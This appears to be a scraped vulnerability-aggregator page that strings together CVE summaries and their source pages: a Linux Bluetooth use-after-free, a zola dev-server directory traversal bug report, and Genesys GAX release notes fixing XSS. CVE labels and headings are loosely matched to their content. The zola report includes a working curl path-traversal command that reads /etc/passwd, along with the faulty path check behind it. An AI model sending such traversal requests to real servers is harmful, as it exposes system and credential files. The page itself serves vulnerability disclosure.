_This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers. Trellix conducts research in accordance with its Vulnerability Reasonable Disclosure Policy. Any attempt to recreate part or all of the activities described is solely at the user’s risk, and neither Trellix nor its affiliates will bear any responsibility or liability._

CVE-2023-3262: The Threat Lurking in Data Centers – Hack Power Management Systems, Take All the Power

An issue was discovered in l2cap_sock_release in net/bluetooth/l2cap_sock.c in the Linux kernel before 6.4.10. There is a use-after-free because the children of an sk are mishandled.

CVE-2023-40283

An issue was discovered in zola 0.13.0 through 0.17.2. The custom implementation of a web server, available via the "zola serve" command, allows directory traversal. The handle_request function, used by the server to process HTTP requests, does not account for sequences of special path control characters (../) in the URL when serving a file, which allows one to escape the webroot of the server and read arbitrary files from the filesystem.

**Bug Report****Environment**

OS: MacOS 13.4.1; Windows 11; Ubuntu 20.04  
Zola version: 0.17.2

**Expected Behavior**

Application should only search & serve files within the webserver's root folder.

**Current Behavior**

Custom implementation of a web server, used for development purposes & available via zola serve command is vulnerable to a directory traversal. handle_request function performs insufficient checks over the user-supplied path in a HTTP request to the server

if !root.starts\_with(original\_root) {

The application only checks for a trusted path prefix, but does not actually fully resolve the path. Since the webroot directory is prepended to each path, this check will always be bypassed:

    let root_path = PathBuf::from("/trusted_prefix/../../some/arbitrary/path");
    let trusted_prefix = "/trusted_prefix";
    
    root_path.starts_with(trusted_prefix); <-- true
    

Thus is possible to utilize path control sequences (/, ..) to escape the webroot & read arbitrary files off the FS of the machines running zola serve command.

**Step to reproduce (UNIX)**

0.  Install zola
1.  Run zola init poc && cd poc
2.  Run zola serve
3.  Use curl > 7.42 to trigger the path traversal via the following command: curl --path-as-is "http://localhost:1111/../../../../../../../../../../etc/passwd" -vvv

Successful explotation should yield contents of the /etc/passwd file

CVE-2023-40274: LFI in zola serve  · Issue #2257 · getzola/zola

Genesys Administrator Extension (GAX) before 9.0.105.15 is vulnerable to Cross Site Scripting (XSS) via the Business Structure page of the iWD plugin, aka GAX-11261.

Jump to: navigation, search

**9.0.105.15**

Genesys Administrator Extension Release Notes

**Genesys Administrator Extension** is part of 9.x starting in 9.0.000.15.

**Release Date**

**Release Type**

**Restrictions**

**AIX**

**Linux**

**Mac**

**Solaris**

**Windows**

03/29/23

General

X

X

**Helpful Links**

**What's New**

This release includes only resolved issues.

**Resolved Issues**

This release contains the following resolved issues:

GAX now prevents the Cross-site scripting vulnerability in the **Business Structure** page of iWD plugin. (GAX-11261)

GAX now accepts the equal sign ('=') as the **keystore-password value** in the **transport** parameter. (GAX-11305)

GAX now recognizes the value of the **maxFormContentSize** option. (GAX-11341)

GAX now correctly displays the history details in the **History Details** panel when **Parameter Groups** are modified. Previously, when **Parameter Groups** were modified, the **History Details** panel does not show the modified data. (GAX-11343)

GAX now indicates the status of the export process performed from the **Persons** menu with the **progress indicator**. (GAX-11367)

GAX now displays the suggestions for section names under application options without any issues. (GAX-11373)

GAX logs no longer display a warning message regarding incorrect installation path. Previously, GAX displayed the **Invalid input file path.** warning message in the log files. (GAX-11393)

The users of a group can only see the import activity of the users belonging to their group. Previously, the users of one group were able to see the import activity of another group. (GAX-11411)

GAX no longer displays an error when synching a **Parameter Group** and also allows the user to manually select the value from **Parameter Group**. Previously, an **exception error (NullPointerException)** occurred when attempting to sync a **Parameter Group** that contained a value that is not part of the **Parameter Group** template. (GAX-11418)

When cloning a Person, GAX now correctly copies the values of the **Member of** section from the original **Person** to the cloned **Person**. Previously, the **Member of** section values were not copied if the user don’t go into the **Member of** section before saving the new person. (GAX-11452)

GAX now returns **400 Bad Request** when a partial value is given in the **Host header**. Previously, GAX returned a **200 OK** response when a part of the value in the **acceptable\_domains** list of the **gax.properties** file was given in the **Host header** of the request. (GAX-11470)

Spring version for GAX is upgraded to 5.3.23. (GAX-11483)

Jetty version is upgraded to 9.4.49 to resolve vulnerabilities found in older versions. (GAX-11497)

GAX no longer displays an error when moving Agents in bulk. Previously, GAX displayed an error when a folder name was repeated in the folder structure during bulk movement of Agents. (GAX-11501)

The **Route Type** drop-down now displays the **CFGX Default** and **CFGX Direct** options along with the other **Default** and **Direct** options. Previously, the **Route Type** drop-down displayed two **Default** and **Direct** options which misled the users. (GAX-11502)

The **Tooltip** module from GAX is now removed to fix the XSS vulnerability in the **jQuery.ui** library. (GAX-11509)

GAX no longer displays an **exception error (NullPointerException)** when logging from a third party SSO application. (GAX-11532)

**Upgrade Notes**

No special procedure is required to upgrade to release 9.0.105.15.

This page was last edited on March 30, 2023, at 14:31.

Source

CVE